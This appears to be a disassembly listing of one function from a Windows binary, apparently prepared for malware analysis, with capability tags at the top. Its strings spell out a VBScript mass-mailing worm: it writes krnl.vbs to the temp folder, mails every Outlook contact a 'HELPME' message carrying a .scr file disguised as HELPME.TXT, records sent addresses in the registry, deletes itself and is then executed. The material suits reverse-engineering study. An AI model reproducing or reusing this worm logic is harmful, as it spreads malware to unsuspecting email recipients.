Function at 0x401e80
Capabilities:
Create process on windows
Delete file
Query environment variable
Set registry value

Disassembly:
sub esp, 0x30c
lea eax, [esp + 0x208]
push ebx
push esi
push edi
push 0x104
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea edi, [esp + 0x214]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x110]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40b038
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._______HELPME.TXT_____________________________________________________________________________________________________________________________________________.scr
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00401e10
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.krnl.vbs
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
lea eax, [esp + 0xc]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0xc]
push 0x40b748
push ecx
call fcn.0040389e
mov esi, eax
push str.dim_z_n
push esi
call fcn.0040384c
push str.Set_z__CreateObject__Scripting.FileSystemObject___n
push esi
call fcn.0040384c
push str.main___n
push esi
call fcn.0040384c
push str.sub_main___n
push esi
call fcn.0040384c
push str.ml___n
push esi
call fcn.0040384c
lea edx, [esp + 0x140]
push edx
push str.z.DeleteFile___s___n
push esi
call fcn.0040384c
push str.z.DeleteFile_WScript.ScriptFullname__n
push esi
call fcn.0040384c
add esp, 0x44
push str.end_sub_n
push esi
call fcn.0040384c
push str.sub_ml___n
push esi
call fcn.0040384c
push str.On_Error_Resume_Next_n
push esi
call fcn.0040384c
push str.dim_x_a_k_y_g_b_r_v_p_n
push esi
call fcn.0040384c
push str.set_rCreateObject__WScript.Shell___n
push esi
call fcn.0040384c
push str.set_outWScript.CreateObject__Outlook.Application___n
push esi
call fcn.0040384c
push str.set_mapiout.GetNameSpace__MAPI___n
push esi
call fcn.0040384c
push str.for_k1_to_mapi.AddressLists.Count_n
push esi
call fcn.0040384c
add esp, 0x40
push str.set_amapi.AddressLists_k__n
push esi
call fcn.0040384c
push str.x1_n
push esi
call fcn.0040384c
push str.vr.RegRead__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer_a__n
push esi
call fcn.0040384c
push str.if__v____then_n
push esi
call fcn.0040384c
push str.v1_n
push esi
call fcn.0040384c
push str.end_if_n
push esi
call fcn.0040384c
push str.if__int_a.AddressEntries.Count__int_v___then_n
push esi
call fcn.0040384c
push str.for_y1_to_a.AddressEntries.Count_n
push esi
call fcn.0040384c
add esp, 0x40
push str.ga.AddressEntries_x__n
push esi
call fcn.0040384c
push str.p___n
push esi
call fcn.0040384c
push str.pr.RegRead__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer_g__n
push esi
call fcn.0040384c
push str.if__p____then_n
push esi
call fcn.0040384c
push str.set_mout.CreateItem_0__n
push esi
call fcn.0040384c
push str.m.Recipients.Add_g__n
push esi
call fcn.0040384c
push str.m.Subject___HELPME___n
push esi
call fcn.0040384c
push str.m.Body___I_really_need_your_help__if_you_can_help_me__read_the_attached_file_talking_about_my_problem.__n
push esi
call fcn.0040384c
add esp, 0x40
lea eax, [esp + 0x110]
push eax
push str.m.Attachments.Add___s___n
push esi
call fcn.0040384c
push str.m.Send_n
push esi
call fcn.0040384c
push str.r.RegWrite__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer_g_1__REG_DWORD__n
push esi
call fcn.0040384c
push str.end_if_n
push esi
call fcn.0040384c
push str.xx1_n
push esi
call fcn.0040384c
push str.next_n
push esi
call fcn.0040384c
push str.r.RegWrite__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer_a_a.AddressEntries.Count_n
push esi
call fcn.0040384c
push str.else_n
push esi
call fcn.0040384c
add esp, 0x44
push str.r.RegWrite__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer_a_a.AddressEntries.Count_n
push esi
call fcn.0040384c
push str.end_if_n
push esi
call fcn.0040384c
push str.next_n
push esi
call fcn.0040384c
push str.Set_outNothing_n
push esi
call fcn.0040384c
push str.Set_mapiNothing_n
push esi
call fcn.0040384c
push str.end_sub_n
push esi
call fcn.0040384c
push esi
call fcn.004037f6
add esp, 0x34
lea ecx, [esp + 0xc]
push 0
push 0x40d004
push 0x40d004
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x30c
ret